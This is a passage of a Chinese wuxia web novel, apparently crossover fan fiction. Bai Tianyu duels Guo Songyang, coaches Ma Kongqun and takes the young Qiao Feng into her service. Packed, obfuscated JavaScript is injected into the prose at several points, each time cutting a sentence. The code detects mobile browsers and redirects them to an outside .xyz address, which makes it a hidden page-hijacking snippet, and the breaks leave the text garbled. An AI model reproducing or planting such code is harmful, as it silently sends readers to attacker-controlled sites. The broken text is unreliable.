天羽接过这一刀一剑,掂了掂,道:“不必了,这两把就挺好。” 又看向来人,客气地道了谢。 之后她就去了隔壁找郭嵩阳。 郭嵩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不爱喝酒。”她答得干脆,“不过我有个嗜酒如命的朋友,方才听你这么感叹,便想到他了。” 郭嵩阳很想问是什么朋友,但他深知这话问出来有多失礼,自是没问出口。 “那必是一位很好的朋友了。”最后他这么说道。 天羽笑了笑,算是默认。 “你若有机会见到他,也会愿意同他交朋友的。”她说。 郭嵩阳闻言,心头一动,道:“但眼下我可能只想与白姑娘交朋友。” 天羽看了他一眼,学着李寻欢的语气,反问道:“难道我会错意了,我们不是朋友?” 月华如练,银辉遍野。 一身黑衣的少女轻扬细颈,唇角未动,却蕴出一双风流笑眼。 望着这双笑眼,郭嵩阳的心跳,陡然乱了一拍。 16.感同身受 从山上下来,已是深夜。 因为最终没有打成,只赏了月,下了山回到马场,郭嵩阳便问天羽,明日有没有时间。 她想了想,把自己白天要指点马空群的事告诉了他,又道:“但明晚应该可以。” 他十分高兴:“那我便明晚再来找白姑娘。” 天羽:“行啊,地方还是你挑?” “好。”他一口应下。 之后两人就各回各院,休息去了。 第二日一早,难得熬夜的天羽准时起了床。 倒不是她不想睡懒觉,实在是练了北冥神功后,她就跟睡懒觉彻底无缘了。 她必须照着无崖子的叮嘱,于每日卯午酉三时,修习一次这功法,但凡怠惰一次,就会头痛心痛——虽然痛也痛不到哪里去,但想要安安稳稳、不受影响地睡个懒觉,就纯属做梦了。 马空群找过来时,她恰好完成卯时的修习,精神比刚起床时好了许多——这倒是北冥神功的优点,只要按时练功,便能精神奕奕,轻而易举维持专注。 “怎么这副表情?”她看到一脸忐忑的马空群,忍不住道,“后悔要我指点了?” 马空群:“绝没有!” 他否认得干脆,可否认完,又是一番欲言又止的模样。 天羽便看着他,等着他往下说。 果然,又踌躇片刻,他便抓着脑袋,小声道:“但我的手臂酸痛难忍,今日恐怕……更达不到阿姊要求。” 天羽并不意外,只抬手一招,让他上前来。 他依旧忐忑,但很听话。 “阿姊?” “是我昨日忘提醒你了。”她伸出手,按住他的肩,“随我练完刀,回去可不能倒头就睡。” 话音落下,按在他肩上的手骤然发力。 马空群顿时惊叫出声。 “放松。”她一边按,一边要求他道,“似你这般死绷着身体,只会更疼。” 马空群痛得眼泪都快出来了,苦着脸道:“我、我不知该如何放松……啊啊啊——” 天羽便道:“想点别的,转移一下自己的注意力。” 她是出于自己的经验,认真给他出主意,并没有多想。 但他听了这话,紧张之下,竟是下意识盯紧了她。 天羽比他大两岁,身量也稍高一些。 此时她站在他身侧,替他按肩,他一偏头,便能看见她精致的侧脸。 她生得其实不算太白,但皮肤在阳光下,呈现出了一种类似暖玉的质感。 动作间,身后束成一股的马尾随之跳动,光影煌煌,看得他呼吸一顿。 马空群这么看着,一时间,竟还真将从肩上传来的痛意抛到了脑后。 察觉到他似乎真的放松了下来,天羽也放了心,又加重了一些力道。 下一刻,惨叫声再度响起。 马空群彻底痛出了眼泪。 “阿姊……”他哭兮兮问,“还……还要按多久啊?” 天羽手上动作不停,道:“快了,等按完你就不会酸痛难忍了。” 如此按了一刻多钟后,她终于停手。 而他也从一开始的疼痛不堪,变回了前几日神清气爽的模样。 他大感神奇,转着胳膊惊道:“阿姊好厉害!” 天羽抿了抿唇,说:“我刚学刀的时候也这样,等坏习惯都纠正了就好。” 他眨着眼,眸光闪烁,道:“阿姊会帮我都纠正好么?” 天羽一愣,问:“怎么?怕我教一半跑了?” 马空群垂下眼去,有些低落地答道:“我爹说,阿姊不会在这里久留。” 这话倒是不假。 来马家的马场之前,天羽就和马老板说过,她只是来做几日客,不会待太久,让他不必太操心招待她的事。 当时她想的是,在神刀大会的热闹过去之前,她可以趁着天气暖和,在关东各地转上一圈。 马老板的马场,便是第一站。 但当时她没想到,来这一趟可以顺便指点他儿子。 现在教都教了,自然另当别论。 “我确实不会久留。”她听出了这小子话语里的试探,坦然相告,“但你放心,我既答应了指点你,那在指点完该指点的之前,便不会走。” 马空群听到这话,当即长舒一口气,喜笑颜开地,练起了他的刀。 这一日下来,他依然累得不轻。 但总算记着她的叮嘱,回去后认真拉伸身体,放松筋骨,而后才休息。 与此同时,天羽和郭嵩阳,也再度离开了马场。 郭嵩阳说他选好了比斗的地方,问她愿不愿意前往,她也没问是哪里,就点了头,随他一起出了马场。 两人各骑了一匹马,跑了三刻钟左右,来到一处山谷。 天羽听到里面有水声,颇感意外。 等进到谷内,果然看见一条悬在崖间的飞瀑。 这个时节,山上雪水融化,于山脚各处来说,便是涨水期。 飞瀑之下,清澈的溪流驶出山谷,水势湍急。 天羽:“……” 她扭头朝郭嵩阳看去,道:“你该不会是想在瀑布下与我比斗吧?” 他愣了一瞬,旋即笑道:“我本无此意,但白姑娘这么一说,似乎也未尝不可。” “飞瀑之下,乱流似刃,很能考验心境。” “可别。”她立刻拒绝,“我不想湿着衣服回去。” 郭嵩阳又是一愣,而后诚恳地表示,是他考虑不周,请她见谅。 她摆了摆手,道了声无妨。 然后就率先下了马。 此地幽静,景致虽不及昨夜,但也别有意趣。 正巧月亮也还圆着,映在水中,能借到不少光。 两人便在水边,用最普通的刀剑起手,又打了一场。 对天羽来说,不能借兵器之利,也不是什么大事。 在得到割鹿刀之前,她一直都在用自己打的刀练刀。 因为是自己打的,练弯了练劈了也不会心疼,随时熔了再打。 久而久之,反倒让她有了个寻常剑客刀客都没有的技能,那就是不论什么样的刀到了她手里,她都能迅速习惯。 相比之下,郭嵩阳对他手里那把不够顺手的剑,就没那么习惯了。 天羽抓住他这点破绽,上来便是一阵猛攻。 刀光轻闪,她攻势飞快,只用了三招,便将这场比试的节奏,掌控到了自己手中。 之后她想快,他就要跟着快,她想慢下来,他也不得不一起慢下来。 但嵩阳铁剑不愧是嵩阳铁剑。 纵是落了下风,也没有轻易认输。 相反,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像她上辈子拍了那么多的影视作品,走到哪里,都被人夸演技,夸敬业,夸美貌,但就是红不起来。 她也用了很久,才从那种“凭什么”的情绪里走出来。 现在轮到她有让人想“凭什么”的本事了,她当然不会觉得,对方是心性不够才想太多庸人自扰。 她很感同身受。 “你要是心中愤懑,不如骂我几句?”她玩笑道,“或许会舒服一点呢。” 郭嵩阳:“……” 他完全没意识到,这一刻,他下意识因她的玩笑弯起了唇角。 “多谢白姑娘安慰。”他望着她,只觉心如鹿跃,仿佛回到昨夜,“可我这输家若还大言不惭,便当真不配与你相比了。” 他生得英俊,气质凌厉又冷硬,颇似他的剑。 但此时此刻,山高月远,他立于水边,沉静地望向她,那双傲气逼人的灰色眼眸,竟也添上了一层柔色。 他忍不住想:连输两回,他分明应该失落才对,可为什么,心里又莫名欢喜? 17.谁比谁快 回去路上,天羽想起郭嵩阳那把断掉的剑,问他有什么打算。 他想了想,说:“等回了嵩阳,想办法托人重铸。” 大概是怕她会因此过意不去,才说完,他又迅速补充道:“正巧徐鲁子大师的传人已在我郭家做客多年,他曾亲口允诺,会为郭家开一次炉。” 天羽完全没想到,自己随口一问,就从他嘴里听到了一个熟悉的名字。 “徐鲁子大师?”她惊讶,“是那位铸了割鹿刀的大师吗?” 郭嵩阳点头称是,又告诉她,当年徐鲁子花费毕生心力铸完割鹿刀不久,便辞了世。 他一生专于冶铁,没留下任何血脉,只有一个曾给他打过下手的学徒,在他临死之前,得到了他的传承。 “当年割鹿刀在中原武林掀起腥风血雨,前后为它断送性命的豪杰,不知凡几。”郭嵩阳感叹,“徐大师的那位传人不想惹祸上身,便隐姓埋名,回了老家。” “他的老家,便是嵩阳。” 再后来,因割鹿刀引发的腥风血雨暂时告了一段落,他机缘巧合成了郭家的门客,才向郭家袒露了自己的身份。 天羽:“……” 她不禁有点好奇,不知如今的中原武林,还有多少人记得割鹿刀? “他知道割鹿刀的下落吗?”她状似无意地问。 郭嵩阳没有多想,便摇头道:“他不知道,他当年得了徐大师的传承离开后,便再也不曾见过这把刀。” 天羽骑在马上,姿态很放松,依然是闲谈的语气,说:“我听说割鹿刀削铁如泥,是这世上最锋利的刀。” “都是这么说的。”郭嵩阳笑,“但真正见过这把刀的人,据说都死了,它的下落,也成了谜。” 天羽稍微放心了一点,又问:“就没人找过吗?” 郭嵩阳:“当然有。” “可二十多年过去,所有关于割鹿刀的消息,最后都被证实是假的,久而久之,再提起这把宝刀的人,便也少了。” 他倒是没怀疑天羽打听割鹿刀的用意,毕竟她是个刀客,对这把曾经号称天下第一的宝刀,难免会感兴趣。 只是这么说着,他心底不由得生出一个主意。 “徐大师的传人与徐大师一样,比起人称兵种君子的剑,更爱刀。”他对天羽说,“他曾说过,倘若能见到令他心服口服的刀客,他定会不惜一切代价,为其开炉铸刀。” 他没有往下说,但天羽听懂了。 “怎么,你想邀我去嵩阳见他?”她直截了当地问。 郭嵩阳一窒。 又想,如此开门见山、单刀直入,果然是白姑娘的性子。 “……是。”他点头,“你愿意么?” 天羽笑了笑,不答反问道:“他的冶铁技术,比徐鲁子如何?” 郭嵩阳一愣,迟疑片刻,才道:“自是不如的。” “那就算了。”她回绝道,“除非他能铸出割鹿刀那样的名刀,否则我没有理由弃己刀不用,反去求他。” 她拒得相当干脆,给出的理由也叫郭嵩阳无从反驳,只好作罢。 可一路回到马场,将要与她道别时,他还是没忍住,又开了口。 “那若是不为拜访徐大师传人,单纯去嵩阳做客,白姑娘可愿意?”他问。 天羽本来并不想答应,因为满打满算,这才第六年,还没到东家说的,她可以放心入中原的时候。 但转念一想,东家当年给她规划此途时,并没有预料到,她还会从无崖子那里另得一份传承。 学了北冥神功后,她已然有了提前行走江湖的底气。 而且暂时离开关东一段日子,再悄悄回来,对隐藏行迹也有好处。 “郭兄诚心相邀,我当然愿意。”她于是这么答复道,“不过我答应了马家小子,会指点完他再走,你若着急回去,可先走一步。” 郭嵩阳大喜,当即表示他一点都不急。 天羽有些意外:“你不想早日重铸断剑?” “怎会不想?”他并不否认这一点,“可我若不能亲自为白姑娘引路,又何谈诚心相邀?” 竟是把她的话抛了回去。 天羽顿时失笑,道:“好吧,那就请郭兄再等我几日。” …… 等她的日子里,郭嵩阳依旧深居简出,极少与马场里的人接触。 白日里她在自己的院子里指点马空群,他便安安静静地,在隔壁练功修剑,从不过来打扰。 到了晚上,倒是经常寻过来,与她闲谈。 大概是知她不爱喝酒,他过来时,身上从无酒气。 一开始,两人只聊武功,后来见得多了,能说的话题便也多了。 或者说,是他单方面愿意透露给她知晓的事,越来越多。 天羽对此并不排斥。 这个时代没什么娱乐,他见闻广阔,又很愿意讲,她便姑且一听。 没多久,她就知道了他此前的所有经历。 他五岁学剑,十三岁时,剑法便已超越郭家所有长辈,之后他离开嵩阳,行走江湖,四处与人约战。 去过西域,也下过江南。 “只可惜我去江南还是去得晚了一步。”他跟天羽说,“没能赶在无垢山庄连庄主过世前,向他讨教一番。” 天羽穿越十多年,一直在关东生活,对中原武林的了解少得可怜。 但她记得马空群也提过这个连庄主。 “这位连庄主的剑很厉害?”她不由得问。 “极厉害。”郭嵩阳答得郑重,“他出身江南第一世家,六岁时,便有神童之誉,十岁时剑法已登堂奥,十一岁又与东瀛‘一刀流’掌门人太玄信机交手论剑,历三百招不败(*),此后许多年,都是当之无愧的江湖第一剑客。” “可惜二十五年前,他便挂剑退隐,不再问江湖事了。” “六年前,我到姑苏时,本欲前往无垢山庄,请他赐教。” “到了那才知道,他竟在我抵达前夜过了世。” 天羽:“他没有收过徒弟么?” 郭嵩阳摇头:“他没有徒弟,也没有子女。” “但他应当有个故人在关东,当时他仅剩的几个手下替他下了葬,便带着他的遗物,去关东寻他故人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭嵩阳看在眼里,只觉心头一热。 下一刻,他想也不想,便张口道:“那照白姑娘看,我有希望赢他么?” 话一出口,他便知不妥。 李寻欢是她的好友,其飞刀又快过他的剑,他这么问,着实不太合适。 可问都问了,总不能再吞回去,当没发生过。 好在天羽似乎并不在意。 她只侧目看他一眼,漫不经心道:“若是半点希望都没有,我只会劝你打消此念。” 作为一个观众,她想看的当然是旗鼓相当,能有来有回的比试。 他大笑起来,明白了她的意思。 “承蒙白姑娘看得起我。”笑毕,他认真道,“将来我约战小李探花时,必请你一观,不叫你失望。” 18.少室山下 半个月后,天羽正式和马老板辞行。 马老板早知她不会久留,并不意外,也没多作挽留。 倒是马空群极为不舍,在她指点他的最后几日,对着她一顿旁敲侧击,想打听她接下来的去向。 但他这点道行在天羽面前,实在一目了然。 她也不稀罕跟十三岁的小男孩绕弯子,直截了当告诉他:“你别琢磨了,不论我去哪,这趟都不可能带你一起。” “我好不容易才为你纠正了那些坏习惯,现下你该做的,应是沉心修习,以固刀术,而非离家远游。” 马空群:“……” 他不由讪讪道:“我……我知晓了,我定会认真练刀,不叫阿姊失望。” 天羽平静道:“我失不失望倒是其次,重要的是你。” 他闻言抬头,有些紧张地朝她看来。 她便迎着他的目光继续道:“你这段日子没少吃苦,若是吃了苦,还不认真练,岂不是白吃了?” “习武这件事,最忌半途而废,你既有天赋,就该好好把握。” 马空群听到最后,悄悄垂下了头。 这次他没有再讲什么表决心的话,但默默绷紧了身体。 “我明白了。”他说。 …… 六月中旬,天羽和郭嵩阳一起,自长白山出发,一路西行,去往嵩阳。 嵩阳是一座小城,原本并不叫嵩阳,全因太室山上出了一座声名大噪的嵩阳书院,才更了名。 太室山是嵩山的东峰,但相比这东峰,嵩山更有名的,还是其西峰。 便是大名鼎鼎的少室山。 天下第一门派少林,就位于少室山上。 而郭家虽不能与少林相比,但也算是当地的名门望族。 两人刚到豫州地界,便有人认出了郭嵩阳。 此后一路到太室山下,都有人主动为他们的饮食客宿付账,试图用这种方式讨好郭嵩阳。 郭嵩阳一概不理,但还是觉得尴尬。 他私下里跟天羽解释:“若是可以,我也不想如此不近人情,可江湖险恶,今日我若承了他们的情,往后他们打着我的旗号作奸犯科,我便不能理直气壮,说与我无关了。” “郭兄确实是君子。”天羽感叹。 “君子不敢当。”他顿了顿,“行走江湖,但求无愧于心尔。” 两日后,他们终于抵达郭家。 郭家祖宅和嵩阳书院一样,都在太室山上,只是不在同一座峰。 他们一早得了郭嵩阳要回来的消息,派了人在山下候着,见到与郭嵩阳同行的天羽,态度十分客气。 待上了山,从他嘴里得知两人相识始末,他们便更客气了。 郭嵩阳怕她不自在,特地让人给她安排了一个清幽的院落。 至于他自己,则是第一时间去拜访了徐鲁子的传人,请其为自己的铁剑开炉。 那传人见到他断成两截的剑,十分惊异:“此剑断面平滑,不见半点崩裂之相,应当不是受力而断,莫非是遭遇了一件绝世神兵所击?” 郭嵩阳听得一怔,道:“一定是绝世神兵所为吗?” “当然!”徐鲁子传人斩钉截铁,“你们郭家的这柄铁剑,本是由陨铁所锻,其锋利坚固,在整个武林,都是排得上号的。” “只有神兵中的神兵,才能将它斩成这般模样。” 郭嵩阳闻言,脑海之中,不由得浮现出一柄晶莹的刀来。 他定了定神,看向还在盯着铁剑断面的徐鲁子传人,道:“我知以先生的眼力不会看错,但此事关乎我一位极重要的朋友。” “若是可以,我希望先生为我保密,切勿将此判断外传。” “我不想因为我,给她带来不必要的麻烦。” 徐鲁子传人虽然对那柄神兵无比好奇,但听到郭嵩阳这么说,便也熄了打听之念。 他毕竟还是郭家的门客。 “行,我不与旁人说就是了。”他答应下来,“至于这剑,你等七七四十九日后再来取吧。” 郭嵩阳颔首表示知晓,而后退出冶铁庐,去了天羽那里。 他本来没想把徐鲁子传人的判断告诉她,只想默默烂在心里,可得知了如此惊人的一个消息,再看到她腰间的刀,他也很难像之前那样不以为意。 而天羽恰恰十分敏锐。 他不过盯着那把刀多看了一小会儿,她便立刻察觉,问他怎么了。 郭嵩阳:“……” 他想了想,终是将事情和盘托出。 天羽听完,错愕了一瞬,但很快反应过来,道:“他眼力不错。” “我这把刀,的确是一把不可多得的好刀。” 郭嵩阳苦笑:“但这消息若是传出去,于你而言,可不是什么好事。” “会传出去吗?”她反问,“你不是已经拜托他不外传了么?” 她问得理所当然,神情里,也只有对他的信任。 郭嵩阳心头一震,下意识想:她愿意信我,那我无论如何,都得对得起她的信任才是。 两人聊完此事,他又问她在此住得可还安稳。 “若是有什么需要,还请务必告知于我。” 天羽往院外的山景扫了一眼,说:“倒还真有一个需要。” “我正想逛一下嵩山,不知你可愿做我的向导?” 他大喜:“乐意之至。” 之后两人就沿着山道,一路穿过石林溪涧,登上了太室山峻极峰。 从峻极峰远眺,便能看见西面的少室山群峰。 “峰势最高最险的那座,叫连天峰。”郭嵩阳给她介绍,“也称摘星楼。” “闻名天下的少林寺,便在摘星楼北侧那座五乳峰下。” 习武之人目力非比寻常,在一片堆叠的翠色中辨认这些山峰,并不困难。 天羽跟着他的介绍,一座一座辨认过去,浑不知时间流逝。 等暮色四合,云海雾涌,月出其间,方意识已过去半日。 爬了山,看了美景,她心情十分不错。 夜里回到郭家,还多用了半碗饭。 郭嵩阳比她更高兴,说明日再带她逛少室山。 她很惊讶:“少室山也可以随便逛么?” “当然可以。”他猜到她心中所想,笑着解释,“少室山三十六峰,只五乳峰一座,独属少林,其余诸峰,并无禁忌。” 天羽一听是这样,当即来了兴致,与他约定明日再见。 到了第二日,两人下太室山,径直向西,不多时,便到了少阳峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643317|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 但这次没有直接登峰,而是从少阳峰下绕行,走了一条僻静的小径。 郭嵩阳道:“从此径入山,可抵五乳峰侧,能瞧见少林。” 天羽:“……” 其实她对少林没啥兴趣,纯粹想登山看风景。 但人家辛辛苦苦给她做导游,她也不想煞风景,就没提。 走了大概小半日,她远远瞧见一座小山坡,正想问他那里是不是就能看到少林,忽听身后林中,传来一声惊呼。 那惊呼声十分稚嫩,一听便是孩童。 两人对视一眼,不约而同决定先去看一看。 入了林,朝着声音来处疾驰,没一会儿,就看到一个穿粗布衣裳的男孩,正举着一根木棍,与身前的狼搏斗。 他看起来极其紧张,一张脸煞白,咬紧了唇,不见半点血色。 而他身前的那头狼,几乎有他三倍大,正张着一张血盆大口,朝他的肩膀咬去。 千钧一发,天羽想也不想,便抽刀出手,斩向那头恶狼! 刀光一闪,鲜血喷涌而出,恶狼断了喉。 但它砸在地上时,还是将那个小男孩压到了身下。 天羽和郭嵩阳忙过去,帮忙拨开狼身。 然后他们便发现,他的腿已受了伤。 好在伤不严重,郭嵩阳这个常年在外行走江湖的人,也有帮忙治疗的经验,三两下,就替这孩子清理了伤口,并上了上好的金疮药。 这个衣着朴素的男孩很有礼貌,认真地向他们道了谢,道完又请教恩人姓名,说日后会尽力报答。 天羽:“报答就不必了。” 郭嵩阳也表示这不是什么大事,跟着又提醒他:“这一带人烟稀少,常有野兽出没,你往后可莫要再来了。” “我知道。”他点头,“我爹娘也这么说。” “那你为何没听你爹娘的话?”天羽不由得问。 他扁了扁嘴,低落道:“我娘喜欢少室山的枣子,我想多采一些。” 他说着,便从自己怀中掏出了几颗被捂热的枣,递给天羽二人,说是作为他们救他的答谢。 郭嵩阳本不想要,但刚要拒绝,天羽就先他一步,伸手接过了这几颗枣。 “行。”她微笑道,“那我就收下你的答谢。” 话音落下,男孩果然松了一口气。 天羽见状,又问他家住何处。 “你伤了腿,自己回去恐有不便。”她掂着手里的枣,向他提议,“不如告诉我们,让我二人送你回去。” 男孩迟疑片刻,才回答这个问题。 但天羽其实听不懂他的回答,得靠郭嵩阳。 郭嵩阳稍想了想,就知道了怎么走了。 之后将他一把背起,朝他们之前经过的一条岔路过去。 大约半个时辰后,他们经岔路转过一座山坡,一株高大的枣树映入眼帘。 枣树边立着三间土屋,屋前铺了一张竹席,似是在晒什么东西。 “正是这里!”男孩在郭嵩阳背上道,“多谢二位恩人送我回来。” 他这一声说完,土屋里,便走出来一个同穿灰衣的妇人。 妇人见了他们,愣了一瞬,继而快步上前,急道:“峰儿,你怎么了?这两位是……?” 19.做我手下 从儿子口中得知原委,妇人十分感激,差些就要给天羽和郭嵩阳跪下。 天羽将她拦下,道:“还是先将这孩子送回屋里休息吧。” 妇人一听,又着急忙慌地引郭嵩阳进屋。 少室山的山民在山间砌的土屋一般都不大,这一家也不例外。 一进去,天羽便觉地方逼仄,昏暗不堪。 好在收拾得很整洁。 郭嵩阳把人放到土炕上,又从怀中取出先前给他用的金疮药,交给那妇人,叮嘱道:“你给他每日敷上一回,便无碍了。” 妇人闻言,又是一阵千恩万谢,谢完与那孩子一样,要问两位恩人的姓名。 她很坦然地表示,他们一家活得清贫,无甚可报答,但纵是如此,也想记住这份恩情。 话说到这份上,再不互通姓名,倒显得天羽和郭嵩阳看不起他们。 两人对视一眼,终于先后说了名字。 相比“白天羽”,“郭嵩阳”这个名字,在这少室山上,显然极具知名度,以至于他说完,这对母子都愣住了。 那小孩更是激动:“您是嵩阳铁剑?!” “原来是郭家公子。”妇人也又惊又喜,“去岁大寒,山间收成大减,郭家便开仓救灾,救过我们一家了。” “您实在是我们乔家的大恩人。” 她谢得再真心不过,说着说着,眼中便泛起泪花。 郭嵩阳见状,忙道:“大家同住嵩山,本该彼此襄助的。” 天羽站在一旁,本来只想默默围观,但没等那妇人和郭嵩阳说完,就敏锐地察觉到,那个受伤的小孩,朝她腰间的刀看了好几眼。 那模样不像好奇,也不似向往。 倒更像是在认真琢磨思考什么。 她觉得有趣,便趁他再度打量过来时,直接看了回去,问:“你一直看我的刀,是在想什么?” 他倚在炕上,不卑不亢,道:“我在想您那一刀,是如何斩出的。” 天羽来了兴致,又问:“那你想出来了吗?” 他诚实地摇头:“没有。” 说完又补充:“太快了。” 很朴实的称赞。 天羽笑了,说:“其实秘诀也只一个‘快’字。” 他露出似懂非懂的神色,而他的母亲见他没有乖乖躺下,又语带催促地唤了一声峰儿。 先前没进屋时,天羽便听过了这名字,但当时她没放心上,现在再听到,却是不由自主地想:这一家人姓乔,他母亲又唤他峰儿…… 想着想着,一个不可思议的念头,骤然浮上心头。 这小子不会就是《天龙八部》的男主角乔峰吧? 对这个故事里大部分角色的生平,她其实都不算十分了解,但当年为了试戏阿紫,她确实努力在跑龙套的间隙里,看完了阿紫在小说里的所有戏份。 因为试戏的片段是阿紫抱着其姊夫乔峰跳崖殉情,她又熬了个夜,额外把乔峰的经历过了一遍。 然后她就为此人悲惨命运所震撼,一整夜没能睡着,最后顶着一张熬夜过度的浮肿脸去试了戏。 可能因为她当时一定程度共情到了阿紫对乔峰的心疼,试戏当天,她放开演了一通,演得酣畅淋漓——虽然角色还是没争到,但这是后话——她也因此彻底记住了乔峰这个悲情人物。 乔峰,本名萧峰,辽国契丹人。 还在襁褓里时,父母便遭人陷害围攻,一死一失踪,而他被围攻他们一家的人交给一对姓乔的汉人夫妻抚养,一直不知自己的真实身份。 等他建立了确切的身份认知,拜师学艺,继承丐帮,成了纵横武林的大人物,又骤然被人告知,其实他不是汉人。 他心中道义无双,一生都在锄强扶弱的师父,竟是他的仇人。 命运仿佛跟他开了一个巨大的玩笑,以至于他最后夹在汉人和契丹人中间,找不到归处,唯有一死。 天羽一边回忆,一边打量着眼前这个即将躺下的小孩。 下一刻,她在对方疑惑的目光里,上前一步,伸手扣住其肩骨。 对方不明所以,但没挣扎。 倒是他的母亲见了,下意识紧张起来。 好在有郭嵩阳及时开口,说:“无妨,我这位朋友只是在看令郎的根骨。” 是的,天羽在看这小孩的根骨。 因为她记得,书里的乔峰,乃是一个旷世奇才,遇上任何对手,都能举重若轻,泰然赢之。 这样的人,必定根骨奇绝,资质超凡。 以她如今的眼界,动手一摸,便能感觉出来。 果然,才摸过一条手臂,她便悚然一惊。 “你这根骨,堪称万中无一,不习武,当真可惜。”她叹道。 话音落下,郭嵩阳也陡然睁大双目,上前探了起来。 “我瞧瞧。”他说。 他是男子,检查起根骨来,更无顾忌一些,不一会儿,就把人一身骨头仔仔细细摸了个遍。 摸到最后,他也不由自主地喃喃道:“骨节似玉,脉络奇畅,确是再好不过的习武之料。” 两人先后下了一样的判断,叫那妇人听得愣住,一时不知该作何反应。 倒是那个被检查了根骨的小孩,只惊讶片刻,便抬头道:“那我是否可以去太室山选剑侍?” “我听说若是能选上,每月便能有五贯钱。” 他口中的选剑侍,正是郭家最近在忙的一件事。 嵩阳郭家以剑传家,每逢本家子嗣诞生,都会给那个新降生的孩童选一批剑侍。 郭嵩阳带着天羽回来前,他的婶娘恰好刚被诊出有孕。 此前十几年,郭家这一代,只有他一根独苗,现在忽然有了新苗,郭家上下,自然喜不自胜。 于是立刻为其开选剑侍。 选剑侍,归根结底是为了给郭家的子嗣找长期陪练,因此能不能选上,最重要的一条标准,便是习武根骨。 而他只是一介农户之子,只以为自己没有这东西,便不曾去试。 不想今日一场意外,竟叫他得知,原来他是可以习武的。 那不就意味着,他以后能每个月给家里挣五贯钱? 思及此处,他不由得盯紧了郭嵩阳。 郭嵩阳:“……” 郭嵩阳哭笑不得道:“以你的天资,去我郭家当剑侍,实在有些大材小用了。” “可我若不去,便连习武的机会都没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667140|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更无法贴补我爹娘。”他顿了顿,“他们为了抚养我,委实辛苦得很。” 此话一出,先前愣在炕前的妇人,瞬间红了眼,哽咽道:“峰儿!” 家住少室,天赋超群,又小小年纪便这般明理孝顺。 除了她知道的那个乔峰,还能是谁? 天羽这么想着,轻叹一声,开口道:“你想贴补父母,这很好。” “但除了当郭家剑侍,还有别的法子。” “什么?”他立刻追问。 天羽看着他,迟疑片刻,终究深吸一口气,下定决心。 “当郭家剑侍,要与郭家签卖身契。”她说,“不如这样,你来做我的手下,我付你工钱,如何?” 他愣住了。 天羽则继续道:“只是我非嵩阳人士,你做了我的手下,往后就要随我一起行走江湖。” “那……那我还能回少室山看望我爹娘吗?”他问。 天羽微笑道:“当然能。” “行走江湖又非断亲,一如外出做工,牵挂时归家一探,本是理所应当。” 事实上,他若真去了郭家当剑侍,反而不会有什么回来探望父母的机会。 郭家子女学剑,不至学成,便不分寒暑年节,日日要练。 剑侍作为陪练,也要随主人一起,日日练剑,不可有一丝懈怠。 之前还在关东时,天羽就从郭嵩阳那里,听说过郭家的这条规矩。 她倒没有觉得郭家这么做太不近人情——毕竟他们也不会强迫别家孩童来做剑侍——但就像郭嵩阳说的那样,以乔峰的资质,去郭家干这个,实在太浪费了。 既浪费资质,又要离家十几年,堪称得不偿失。 乔峰得了她的承诺,本就十分心动。 又想起今日在山间,自己差些丧于恶狼之口时,正是她及时出手相救,更觉去当她手下,必不会错。 于是张口应道:“好,那我便做你的手下。” 他话音刚落,他的母亲便紧张道:“峰儿,你莫冲动!” “我没冲动,娘。”他笑着对他母亲解释,“平日里你和爹爹总紧着我吃喝,说让我投生乔家吃苦,是你们对不住我。” “可在我看来,分明是我对不住你们。” “如今我能叫郭公子的朋友看上,家中便可少一张嘴吃饭,你和爹也不必那般辛苦啦。” 一番话说下来,叫其母听得又哭又笑,道:“你不懂,这种事,从来都是父母的不是,如何能怪到你头上?” 乔峰却道:“爹娘不愿怪我,我亦不愿怪爹娘。” “常言道家贫者早立,难得有此良机,孩儿实在不愿错过,还望娘能成全。” 妇人看看他,又看看天羽,犹豫许久,终究点头。 天羽见状,总算长舒一口气。 又自怀中取出一片自七大世家那得来的金叶,递给那妇人,道:“他为了贴补你们,才答应做我手下,那他的工钱,我就直接交给你了。” 妇人大惊:“这太贵重了……” 天羽却笑起来,斜睨炕上的乔峰一眼,道:“孝心值千金,此一片金叶,谈何贵重?” 何况这还是个货真价实的大英雄。 20.向她告白 